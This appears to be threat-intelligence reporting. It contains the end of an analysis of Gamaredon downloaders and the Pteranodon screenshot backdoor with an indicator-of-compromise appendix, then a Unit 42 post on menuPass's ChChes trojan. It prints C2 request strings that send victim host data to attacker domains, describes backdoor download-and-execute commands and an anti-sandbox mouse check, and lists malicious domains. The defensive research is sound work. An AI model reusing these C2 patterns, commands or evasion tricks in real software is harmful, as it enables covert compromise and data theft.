At first, the malware retrieves the temp path of the local user ("C:\Users\<Username>\AppData\Local\Temp\"), the computer name (e.g. "WIN-MLABCSUOVJB"), the hardware profile GUID (e.g. "{826ee360-7139-11de-8d20-808e6f6e6263}") and the volume serial number of C:\ drive (e.g. "1956047236"). Next, it takes the following hardcoded string:

http://adobe.update-service[.]net/index.php?comp=

To create a URL string with the victims information for contacting the C2 server:

  • http://adobe.update-service[.]net/index.php?comp=WIN-MLABCSUOVJB&id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236

To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters. However, due to an implementation error the string always ends up being the same, namely "frAQBc8Wsa". This string gets concatenated with the retrieved local users temp path to the following file path:

  • C:\Users\<Username>\AppData\Local\Temp\frAQBc8Wsa

Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess(). Finally, it sleeps for 60 seconds before terminating the payload and the DLL exits.

Downloader: MSO8734.obn / MpClients.dll

This file is a slightly more advanced version of LocalSMS.dll downloader. Instead of downloading a payload directly to disk, this file requests a download command from the C2 server which contains the actual payload URL to be used. Therefore, it uses a basic network implementation based on the Winsock functions. All the functionality of this DLL is put into an export function named "bitDefender".

It creates a socket, requests the address of the hardcoded C2 server "win-restore.ru" via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call:

"GET /css.php?id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1
Host: win-restore.ru
Connection: close"

The response will be stored into a memory buffer via recv() and scanned for the string "urltoload={". As the name suggests, the received data contains the actual URL of the payload inside curly brackets. The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile(). Again, the same file path will be used to store the payload on disk and execute it:
"C:\Users\<Username>\AppData\Local\Temp\frAQBc8Wsa"

Pteranodon: MSO1234.win / winrestore.dll

Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted. All the functionality of this DLL is put into an export function named "updater".

At first, it retrieves the %APPDATA% folder of the local user to build the following file path:

"C:\Users\<Username>\AppData\Roaming\Microsoft\desktop.ini"

Then, it checks if the file already exists and continues execution if so. If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique. If no mouse movement is detected the malware runs in an infinite loop checking for mouse movement.

If the file "desktop.ini" does not exist, the malware creates it and writes the following information into it:

" interval={60} msfolder={10} status={0}"

This information is used as configuration data to create the screenshots. There are also other commands possible which can be retrieved from the C2 server. The following commands are available:

exec={

This command is used to download and execute a payload from a URL present in the curly brackets. It creates a random file path in temp folder, calls URLDownloadToFile() and CreateProcess() to run the payload. Then, it waits 30s and terminates the payload.

interval={

This command is used to define the interval in seconds between the creation of two or more screenshots.

msfolder={

This command defines the number of screenshots to create.

command={ / command_c={

This command is used to execute a file present as a string between the curly brackets. The variant with the "c" uses the Windows tool cmd.exe with help of ShellExecute().

status={

This command contains the flag which defines if screenshots should be made ("1") or not ("0").

Next, it checks for a mutex named "asassin1dj" to verify if the system is already infected and creates it if this isn't the case:

gamaredon_11

Figure 8 Mutex check and creation routine

Next, it creates the following folder, if not already present:

"C:\Users\<Username>\AppData\Roaming\Microsoft\store"

Next, according to the configuration data in "desktop.ini" it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and gdiplus API functions. The following file naming scheme for the screenshots is used:

<year><month><day>_<hour><minute><seconds>

After the last screenshot was created, it uploads all files from the "store" folder to the C2 server "win-restore[.]ru". Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script "vvd.php". For this, the following HTTP request is used which contains also data from the victim as well the JPEG files:

Finally, it checks if any new command information is available from the C2 server and updates the "desktop.ini" file according to it. Based on functionality, compile timestamps, and binary differencing this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824.

wmphost.exe

This file runs an infinite loop until mouse movement gets detected, then it exits. This file can be used to circumvent sandboxes that don't simulate mouse movement. To detect if it's running inside a sandbox, another file can scan the list of running processes to see if "wmphost.exe" is present or not.

Appendix B: Indicators of Compromise

Domain Names

admin-ru[.]ru
adobe.update-service[.]net
apploadapp.webhop[.]me
brokbridge[.]com
cat.gotdns[.]ch
check-update[.]ru
childrights.in[.]ua
conhost.myftp[.]org
docdownload.ddns[.]net
downloads.email-attachments[.]ru
downloads.file-attachments[.]ru
dyndownload.serveirc[.]com
e.muravej[.]ua
email-attachments[.]ru
file-attachments[.]ru
freefiles.myftp[.]biz
getmyfile.webhop[.]me
googlefiles.serveftp[.]com
grom56.ddns[.]net
grom90.ddns[.]net
hrome-update[.]ru
hrome-updater[.]ru
loaderskypetm.webhop[.]me
loadsoulip.serveftp[.]com
mail.file-attachments[.]ru
mails.redirectme[.]net
mars-ru[.]ru
msrestore[.]ru
oficialsite.webhop[.]me
parkingdoma.webhop[.]me
poligjong.webhop[.]me
polistar.ddns[.]net
proxy-spread[.]ru
rms.admin-ru[.]ru
samotsvety.com[.]ua
skypeemocache[.]ru
skypeupdate[.]ru
spbpool.ddns[.]net
spread-service[.]ru
spread-ss[.]ru
spread-updates[.]ru
stor.tainfo.com[.]ua
tortilla.sytes[.]net
ukrnet.serveftp[.]com
ukrway.galaktion[.]ru
umachka[.]ua
update-service[.]net
updatesp.ddns[.]net
updateviber.sytes[.]net
webclidie.webhop[.]me
win-restore[.]ru
winloaded.sytes[.]net
winupdateloader[.]ru
www.file-attachments[.]ru
www.win-restore[.]ru
yfperoliz.webhop[.]me

URLs:

http://childrights.in[.]ua/public/manager/img/scrdll.ini
http://prestigeclub.frantov[.]com.ua/press-center/press/chrome-xvnc-v5517.exe
http://umachka[.]ua/screen/dk.tmp
http://umachka[.]ua/screen/screen.tmp
http://viberload.ddns[.]net/viber.nls

Hashes:

Samples using custom developed tools:

002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705
08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6
0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27
0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9
0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494
145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8
222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d
2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37
3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d
3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9
37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac
3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89
400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501
598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824
5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9
5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395
840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656
90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd
97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34
9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d
9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312
a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75
a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a
a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5
ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da
b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875
b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a
be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d
d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726
d1ba365e93ff0a4f3a2cb1d657568e583e3fbd7dbb1c2c52e28f16480324e3bb
ddfc6bb4819527b2424d6e1a84f04b67adad79401e39efbffba5b7d727e732f0
df434f54802a6814628f30cae335c302bae7085c4e8314d71a41a47d9c410c39
e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4
f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 

Samples using bundled commodity tools:

026be8a873560f1496c6961f6e36c312bdda01beacb17c4b744f35ee1923d061
03c943f5cba11b09b9c3afa0705d4a027e5a9d81b299711740cc5aedfe4b4aa1
03e5e99cc8280de4663c4b65bfd26782d4975258808a63a4b20bc068008df7f5
059e40ba91b2b2d827c200476fcbd0fad0d43ab198d0c206c996777d27e6de65
0669e61e51cf43daa431d52b5461c90bdce1b1bee03b087e4406c30264dcb9a4
068b9a9194efacc16cf142814e79b7041b6ab3d671a95bb508dbd30061c324aa
0b4a90b823a581311c4acb59f35e32f81f70ca16a2538f54f4dbe03db93350df
0b5316d723d1ebbec9aba0c9ff6761050305d644c3eeb5291b4e2c4de9e5fa15
0b8d59312699739b6e6cb7aeb0f22a2eaebbb0fd898a97ef9b83e8d8e9ce67a0
0dd13d2d0edbcf9d1825c2bfc165876ada2e4d04e2981a0003cb6503fad2287b
0ddb7867e31f3f30cd1cfe74393f8ac5bbdc61538278de9219a49345f0d3af7f
13fed3accac4f38f28e606b110a3b7924d9c7a1a911f8c0613d0bb791e715267
151cf4c83722ba171ae42640e5e13af67ca06ee0a06a74afa53931acf6ac1506
17006d77cc1459aa3d70e4e9377edb2547a7446647aa9872c9dd9ad860ed7e39
1ec7e595677038145991c6d84dc7808602142f258c1f90e9486cca0fe531d74f
208dc592111a8221a9c633efc120b890585f9a67ed340cbb5ec9db4cd5e164e4
2124adbee89f2c1cb65896bed26e7ffa8bf0fcbdfeb99a9e751fea9cca7a896b
22e97292671ada8deef4329eb115c52f6f1bc598bcf01a3961f1c35a2230a013
259a78122ef51ae503059143bf36941fc6090be83213d196ba3051ba36a0b2a1
26564c23530dd14e0042e074f4178a5b2ad6fc8f51f10138fc39941a6303bff9
29453fa1772b6d7d33842d6abbe0cb55c4a4b66a00f43284c8724d7c16749a7d
2a072d9ce63a94d2530cf9f18a232c6a09f6c7bdff9dbe27faceef53604145ea
2c02d3d3fadd76f9d21f5c093459ddc0045c94f17679269eb7a2990a1a88cb42
2d55000bb5cb9e3e1f137810c2e1eb899f68c40e4a6f6307f226c7b8af208abd
2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20
2e89436b355550ceb361fac1b03b78b71eda11d25f26223ac5c8c34ed8972a05
32b0e6394b110860371da5541946a6dcc85358a3951eddc86fdaf5794527c150
33934fcfae5760316b3f40e013cbb03d8086f8c30f9a4ba9bed3f9486a530796
34d86602882e86f8aaaeb7513126c8579a4489f2be31c279188e2f2ca8a0e141
390162dae62a0347e35cf5dad093cfc2f7d4ded62fba9d2df7af6133feb41ee0
3ef8602579c6b145fbaafc8970b4c9a6e7bebd11eb5e37eecaa67b4572c6038b
420acd7e8598fe994b59bf5d30f89e1c11b36cbef464a4786694cf9eada8dd4c
42b4c39179f76ea9eb5835b55a3cf4d8dbb29d42ee0622ad2e89ca48d01e8988
42eed03907c9dfa0e566fbe5968cdb5a1b7b5e18521f7327185ed2208c6c29b4
46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d
47d929c69bfd8d8efb9c280eabec2f73d4bddf1c3c30120c3fb6334623469888
505ef8cbc1271ce32f0c473468d75a1aba5073c37b2e6b49293ddc9efcb4ac96
5230453eeb98c5a183129ed8b918b429e96020887302ba30941c408108a1ab84
5363220b532d7da378b338e839a501ae5c006cc03c8b2d3627c480d64deb1221
558f33d478091993e5b5921604f8c3873efc87f551fddf61612b5c64d5b610f6
55c76f4f93f9e155fbb6a28447f97c1ccda0081061dc3cb9973d42c1686964b7
56c8246819f7de5cba91001793831441d4ce998ccb8237cb96c9f52e88ea384b
59bddb5ccdc1c37c838c8a3d96a865a28c75b5807415fd931eaff0af931d1820
5ac627f8964d3b9cad69f21e3b8f27305f1f68f49e4f4fae2c73949a04b32692
5ccc76ae1cdf668ba7f89c6cbd0bad44f148cbee736320ead237262ba170ffba
5cd4401c1dae9b9ecd75c96ab29dc64ce40bef3acc6faf7c001ff98ebd3b3413
5cd72eaf555813f1ee187def594584f5cfc6a5e83086f35e281327b5210adffb
5f8293eda9fb40684caddf576eba6c81f3a06911ca9e4ecf84ede3b2891cff5e
6c258151c593268c13c252d8f275192a6f7a74d5de5754f2cf20fb94be7ee6ea
0458e168baa4fa5942892065925ac82b12245551b539d54c2884b3a21c2699d8
877f1de209eb9d8b2a20a76f8773d12e5a1fcde4148868c7b73added392f62f6
29c728a169c5d18298e77db161dd5d2f6396ceca9ee7849b63ff8a8bc11f911e
98e092b7bfc3bbdaeb82e05de14ba5835c6ac626c17de9eef2049796a031dd10
27e08fb90ada2fd8ce6b6149786edd3b814dd0324257ebd919ed66ada0334b21
9f651ae6ea538238748614a7f86fe2b0f76e881d6c38da581f284e4b6f79b0ca
f47115ea58615781e56dcac673c19edf7ce00defd7ada709ae97b0708d3eac1e
b80719854f8744ba62e9f0e774c09e2e2ed79dd37f9f94ba3ed05ec8507d55e6
467f04914a1e6093bdaf5c28884bf95ec738234033b3292d289a0799de196d49
5c47d18b3f0e0274c6a66b2eab27d47c73a0105c263d41c6473aba9a28d0a4ba
01c5729ac1ae3928053c085fd616323a3715863ab3d7e9b8106c09e24df34183
5b6a691cf8faf238b27861941a1b667d889889cc9711a3e561403d6a6ed292c9
e2688f72cc7ae836be19e765e39318873554ee194a09945eb3f3805d04f256ca
9f0228e3d1577ffb2533584c2b1d87ebee0c0d490f981e61d18bb27ab02e52cb
2617f9301869304b88d8a3a4f7b2eab6b0edf264cc1a28b99f5685959242ec39
f3107a5a00f36e12be7cc2e37c35903ef855b8043492af374ea918385821443c
63fcfab8e9b97d9aec3d6f243003ea3e2bf955523f08e6f1c0d1e28c839ee3d5
05cbe01b1125897e0e982c587a10a72f4df795b844a4a2c4cec44aee7f30ce94
5a7da102c11960b9651650143a4a08ae4ce97d68dff999961f1ffc792531afeb
df6112e6bad4125b80b8829c13a2ca523bb82cf303cf531389d8795e7512c7e6
cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31
e79dbcc8b60da280e53d9cf818eee1de34251e0551b9947bb2b79a31b131417e
a73eac15797130c381b5b4a65c3fb1cfc723b1586a1882c981211787bba285a6
3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b
f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd
ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc
550ee89d5df17f90ba7689d957cd067dcdbe3d957c5369ea28d925e02ccc8ce6
f77d7940c51c2a1eab849dbd77e59c683ebf7820799ef349e7da2583e1aa11ae
2c5d55619d2f56dc5824a4845334e7804d6d306daac1c23bec6f078f30f1c825
7231177a115656041ba4e5b3cf0bf7a547b074f03592351484267e25cda7c899
d5405f99cec0166857274b6c02a7ef52b36274fedb805a17d2089fd24ed133cf
81921b6a7eba39a3f73895a57892ed3a46ab6365ac97d550ca3b9bff46c7a1c2
1eef9f8d7d3099b87be7ac25121f9d2ccacfb5ccf02b508fb2036b6e059c525f
5255061c3600df1a94b376fca40f3ccb69d1cb6dd42aa744b20a643c7292d20c
b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
5fb7f6f953be3b65d88bd86d1391ebc9f88fc10b0ef23541463ebf5b157f695c
6016cf9898d74e2e9030be7c987964d817ba28ad2253d1da54c81a1bf49db836
621e55421dffae981e3e933c65626314d5610c7c08f76f83a3d07f0ec6c36e2d
6ccc24971073d24d90c4cbaf83dfbae2969cbf527e319c7ee9a4babcbe88e456
6f8da9180eebe02ba35317cb8aee5c8df6ac29795af70eb9430c3588d457aad6
71c5b899a5187baeb8f605ca39ca56bf05a63025a8f9f84c45590d8345e5d349
725b7d92ed66be160f2e04395008a65c72814d5ddf842d9778396f6c6679d85e
72d4b780a90ede7ea152f5da0973965cab31d2813fa8c2fe0e1cb611f5ca257e
73670d06851f588c7df44dc478f49883406697c48c618438e0f249b7a916552e
74e017853fbc85ee77ca7476cd25423815602aaaa02b29e0003c95c9551b8890
75d2367dc79d9f8aed165729df90ed5d28fefe267778dbe4d3d74aafa75d66e0
7a5a1c6ea0c2f017df9f06975c93a356cac20b19031fcde96136fa5881e5ef3a
7adb049e0b49312aea904c70e16d0e7f03d01aae4bf8ac867e8219ced4e6e057
7bfa85bec239b6c4419b2d57149c5960263c80e493f888d03ceaaa3f945b1b25
7f324b658f587b3b27921ebeba5ac25aebd669b33e6801fa9581de8c2eb0df2e
7fee970748eb83045e36911dafdaee0d4069ebe72c059cc7de3d65539012c2e9
823793a37d748ffe708864c16c853c67a5db812712481da1d24790b455163940
8512aabfa0175684bdbb77481d6b272b63dbc4249b04a44e1003b7d8fdea0a89
86c81f03cf7d8f8af38c2559dbf506cccdc25579f3b29fb574f823a67f99a0a3
88ae7e60b9dd57fc6b2d667ce33fb29c0f75d37eb7c837ccf56cb7994386d5ef
8b50e3ca06a22d0be6a71232b320137c776f80ac3f2c81b7440b43854b8a3bf0
8bd40e7fe6bbd4d5810db2c142186bb58da445a132fb6f9ff01c46947a532244
8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845
8d38726d674279705fe06b4b45bbbaef10756c547d560cea6998e23dba09f80c
8db47439685edc683765abb5e6d7d0d05479bf9ee164992db9e8ce97fe43ee2f
95de2e16f1b05d1b45b1d182c1503568c2e5fd4a81ac52fe1bc9e881d1a272b1
95e3204228341852b7c97f357f799e7ec9688abe1262436b569e56397f1fd864
98caf00760d772598386eb8d4f26caf92fb891915ac08da6bf830be5e45278d3
99c9440a84cdc428ce140de901452eb334faec49f1f6258acdde1ddcbb34376e
9a8776e4ae38cf529bab28947b31ade84301262b7996dc37ec47afa4fb4cf6e1
9beb1d2a03ff2d4c15913de0f87b72074155b44df791bd967dac8155e97a0e06
9c8d518fbbc8cbb25fa309f5396efa5749e57a3b0158779404c8d3e92baf6596
a064a28e5e7409a96bba93fc57f44cadc3492bb0f49792c89c973e30b0f5d498
a194b47043356fa365d98a5f7c582b6f87fac90acf0f469ed3651cfe2fd7b2c9
a21dfb8e8b7c8dfbeeb4d72e6ef1f22c667b8968b3a3b1dcce99f44faab05903
a2e0fe2d385dabcdfb024100216d259ddd1fa9907e982d297846fd29b8d4d415
a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
a595da9a2fa58d4f8be0bfbcf7f4c950435ff5289dd1ccf2c65eec73a0afe97f
a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b
aa860d405746401ae4155485326fdeb39718832c77c73540d48f4fbb8e596215
ab6832a4432b4bdaec0706f7b00a369c48175eac9abc3e537032b1f5d26a993b
ada2f0703614b3447d427827777af5d4ee9ffe9179498970326926751a4f8d65
b16d317c11228bd3573126a0e1bc0bbf35d84a4a1f47dfb06b70634a21fd9823
b3665548cc0f2fce3593fb7139f49588faa1d327b6d23feb564ca4194053ae8a
b5578c48a11533871ae91e6d5632aafc25d3976c0626d62abab306663566d024
b67a6f87fc3fd7c5c3666acac5918c8c08a53ab6a966f4d1daf38105a566ede1
b6abc8ab631dcf52e028ab26dbe3bb94022d69193c0acc8642cbd6329cbb23ef
b7e117eb342b0d450095805073326989c792bf5ccbbdcd5f4a9ace50e517412e
bb14abc9b0798c7756a6ed887308a3e6210cc08a5149dc1360fdd1f5bca27cca
bdadb319f071f02462d107380102b669e407bb2a0b20e77a9a8a5726b4cbbc4b
bf2383cfbee4cbb0bda2614839454ab1724c9bbfff8b4b48e0f48579ae220c10
bf52b44168de1855d83186163a2d5f29e488ddafdfd5447e211aec4a769cf74a
c0d5cf7a0035deda5646aaf520b3ff632aa6be76ddbc88f38ddc11e77ffb40b4
c1a82a788df7418712664138c0fdb05232036a27ab0998479d60c656998849f1
c63a523834ab59ab5621a0acb156a9b901befe806044642fe5fec8a0ba545e70
d05d3f3582e13eaf5f39d7143ca1a4b1367cc5267bf9958a15e27cf53e059518
d0e456cff03c2483ded9a0f8c1b99f9fefb6ba47dcaf949dae27abe940ee20e6
d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385
dada74663e3e29ee26bfd03a888f0bda9fc81e148511fa98f73f8e8a915933cc
db3ffcbf136e0268ec66f28b30fa8ba350f74e02e8e737e61cc6ef8d8258027e
dd26b85b6568595b1d2bbc47ce47d071ede75665fbd779d637b74663ead5539e
df9038660164623a827a8119d4cb3d71d0a5288b12bdfdd32c72769bf90a9ea0
dfed16e9184a86e6fcd17a98f127410840d058db667e9975b43add100c33122e
e0063d2524a89159cf5da12661225fbb27725bbd72acd9497b7207ecf2f3aeb6
e00c55ddda9cbb82fb47924fafdf40c3394dc1127d9901c71a69ef3ef664b817
e14a51d69211948163ab20b0cc68adf410bb821f2890f55d2d202c745f4ec1b8
e2e3f243bbcad666852e64202d35f6dd88c58f5d24435d92975697b0efa8a775
e37e25739e8bc4620d9d37d8f6b400cd82c85b89d206436ba35930ed96db6eb0
e55b5ede808b6d491f18737d6a1cf34b5178f02e9ea01d7cff31a449888dbd73
ed28d9207acac2afff817eaa56d1599422e23946dffa4f8bade376d52a6af7d4
eda0853e814ee31a66c3b42af45cd66019ffd61eac30e97bd34c27d79253a1bb
f1b3e58d060803b0ff6008386bab47fb8099ac75ee74f385ac34340a28bf716e
f2091f71227180d74ba1ba4607635e623553b1826314dca91cb31839eb00c4ea
f214d55ccb5db5edbaafe7d40b240c79f04c70d441adee01ef438f776eb37037
f571ddc894915dee136cf24731ff3d79fe4f811b112d122a34a128628cb43c4a
f7676d2a28992a382475af2ae0abca4794e1397ef3327f30f7d4cbdbc2ca0a68
f8e20894c8c18d79e80b431008aa8bef46cc10a355a4934f9cc40ffd637b8890
fa1bf7565352099b74624c8beeff6620411e1efe00e54f8b4190f69e243d5811
fa784f69265ebe5e150cf5956a40d86335d1a5edc57fffcc7ce6eedc591c2751

 

menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations

Posted on by Jen Miller-Osborn

In 2016, from September through November, an APT campaign known as “menuPass”  targeted Japanese academics working in several areas of science, along with Japanese pharmaceutical and a US-based subsidiary of a Japanese manufacturing organizations. In addition to using PlugX and Poison Ivy (PIVY), both known to be used by the group, they also used a new Trojan called “ChChes” by the Japan Computer Emergency Response Team Coordination Center (JPCERT).  In contrast to PlugX and PIVY, which are used by multiple campaigns, ChChes appears to be unique to this group. An analysis of the malware family can be found later in this blog.

Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not.

The attackers spoofed several sender email addresses to send spear phishing emails, most notably public addresses associated with the Sasakawa Peace Foundation and The White House. All the spear phishes were socially engineered with subjects appropriate for the target and the apparent sender. One of the more interesting subject lines was used in the White House attack; “[UNCLASSIFIED] The impact of Trump’s victory to Japan,” sent two days after the election.  Most of the attacks against academics involved webmail addresses using names of academics but are not tied to those academics openly online. However, all the spear phish recipients used email addresses tied to them online.

fig1

Figure 1. Recent menuPass activity and some ties to older infrastructure

The C2 infrastructure in these attacks is largely actor registered, with only a few Dynamic Domain Name System (DDNS) domains. menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns. All of the related hashes and C2s are in appendix at the end of this blog.

Ties to menuPass

There is not much public information about the APT campaign called menuPass (also known as Stone Panda and APT10).  A paper from FireEye in 2013 on several campaigns using PIVY included menuPass as one of them.  A later blog added some additional details. The group name is derived from one of the passwords they use with PIVY in their attacks. Believed to have started activity in 2009 and to originate from China, the group initially was known for targeting US and overseas defense contractors but broadened their targeting as time passed. They have targeted Japanese organizations since at least 2014.

The newer ChChes malware family uses an import hash (bb269704ba8647da97377440d403ae4d) shared with other tools used by menuPass, affording an initial link. However, the ties are most strongly proved through infrastructure analysis, which shows a number of links between the newer infrastructure used in these attacks and older infrastructure publicly associated with the group. The three circled domains represent C2s publicly reported as tied to menuPass, linked to domains not previously publicly reported as associated. These are only a few of multiple overlaps analysts can find while researching menuPass infrastructure. The circled known domains are the first three below:

  • apple[.]cmdnetview[.]com
  • fbi[.]sexxxy[.]biz
  • cvnx[.]zyns[.]com
  • cia[.]toh[.]info
  • 2014[.]zzux[.]com
  • iphone[.]vizvaz[.]com

fig2

Figure 2. menuPass infrastructure overlaps

Two of these domains can further be tied into the newer C2 infrastructure. Again, these are only a few of the overlaps that can be uncovered by analyzing the infrastructure used by menuPass. The domains in the below figure are:

  • cia[.]toh[.]info
  • 2014[.]zzux[.]com
  • wchildress[.]com
  • lion[.]wchildress[.]com
  • kawasaki[.]unhamj[.]com
  • sakai[.]unhamj[.]com
  • kawasaki[.]cloud-maste[.]com
  • fukuoka[.]cloud-maste[.]com
  • yahoo[.]incloud-go[.]com
  • msn[.]incloud-go[.]com
  • www[.]mseupdate[.]ourhobby[.]com
  • contractus[.]qpoe[.]com

fig3

Figure 3. Ties between new and older infrastructure.

Additionally, the passwords in the PIVY samples also fit known passwords used by the group – three samples use “menuPass” and the other uses “keaidestone.”  With these data points, we assess with high confidence the recent attacks were conducted by the menuPass group.

Following is our analysis of the ChChes malware family.

Malware Analysis

For this analysis, Unit 42 looked at the following file:

MD5 c0c8dcc9dad39da8278bf8956e30a3fc
SHA1 009b639441ad5c1260f55afde2d5d21fc5b4f96c
SHA256 6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e
Compile Time 2016-11-24 01:31:37 UTC

 

This malware is provided with an icon that appears to be that of a Microsoft Word document, as we can see in the image below.

fig4

Figure 4. Icon used for ChChes

Additionally, we discovered that the samples identified in attacks against Japanese organizations were digitally signed using the certificate originally used by the Italian-based company, HackingTeam. Readers may recall that HackingTeam was compromised and subsequently had a large amount of internal data exposed in July 2015. This data included a wealth of code used by the organization, including certificates. The certificate in question was fairly old, and expired on August 4th, 2012. On July 10th, 2015, the certificate was revoked.

fig5

Figure 5.  Digital signing of ChChes

fig6

Figure 6.  Certificate revocation

Multiple instances of malware have been discovered using this certificate since it was originally leaked in 2015. It is unclear why the actors decided to use this certificate that is tied to known malicious samples for their own samples. One possibility may be to make attribution more difficult for analysts researching these threats.

When the malware is initially run, it will first decrypt an embedded stub of code within the malware prior to executing it. This stub has many characteristics seen in shellcode, and begins by creating a new Import Address Table (IAT). This new IAT is then referenced throughout the remainder of the code when calling Windows APIs. The following snippet of assembly shows the newly created IAT being referenced to call various functions, such as GetProcessHeap, RtlAllocateHeap, RtlReAllocateHeap, and InternetReadFile.

fig7

Figure 7.  Newly created IAT being used to call Windows API functions

After the IAT has been generated, the malware will determine the path of %TEMP% and set its current working directory to this value. ChChes proceeds to collect the following information about the victim:

  • Hostname
  • Process Identifier (PID)
  • Current working directory (%TEMP%)
  • Window resolution
  • Microsoft Windows version

This information is aggregated into a string such as the following:

WBQTLJRH9553618*2564?3618468394?C:\\Users\\ADMINI~1\\AppData\\Local\\Temp?1.4.1 (1024x768)*6.1.7601.17514

Note that in the string above, the ‘3618468394’ and ‘1.4.1’ strings are hardcoded within the malware itself. These may indicate versions of the malware or campaign identifiers, however, this has not been confirmed.

After this data has been aggregated, it is uploaded to a hardcoded command and control (C2) server via HTTP. The data is embedded within the ‘Cookie’ HTTP header, as seen belowfig8

Figure 8.  Initial HTTP beacon for ChChes

The URI used above is randomly generated for each HTTP request made by ChChes. The data embedded within the Cookie header is encrypted using a unique technique. For each key/value pair, separated by a ‘;’, the malware will first perform a MD5 hash of the key, and extract the middle 16 bytes. The value is base64-decoded after the string is unquoted. Finally, the base64-decoded data is decrypted using RC4 with the previously obtained 16 bytes. All of the data is concatenated to form the final, decrypted data.

The following Python code shows an example of decoding the supplied Cookie field:

The script above produces the following output:

The initial ‘A’ character witnessed in the output above instructs the remote server that this is an initial beacon, or the first expected request sent by ChChes.

The C2 will respond with a ‘Set-Cookie’ header that contains the middle 16 bytes of the MD5 hash performed against the hostname and PID. Using the above example, the C2 would perform the MD5 against ‘WBQTLJRH9553618*2564’.

The resulting middle 16 characters is ‘b331106210b6364c’.

The subsequent request made by ChChes looks like the following:

fig9

Figure 9. Second network request made by ChChes

Decrypted, we see the following contents stored within the Cookie field:

Bb331106210b6364c

The first character of ‘B’ signifies that this is the second request, and the remaining data is the 16 bytes previously seen in the C2 response within the Set-Cookie header.

At this stage, the C2 server is expected to return content in the following format:

[Middle MD5][Base64-Encoded Data][Middle MD5]

The ‘Middle MD5’ field contains the middle 16 bytes of the MD5 hash of the ‘b331106210b6364c’ string. This would result in a string of ‘500089dadf52ae0b’ in this particular example. The ‘Base64-Encoded Data’ field contains a fairly complex structure that will store a module that is to be loaded and subsequently run by ChChes.

A visualization of this network communication can be seen in the following figure:

fig10

Figure 10. Network flow of ChChes

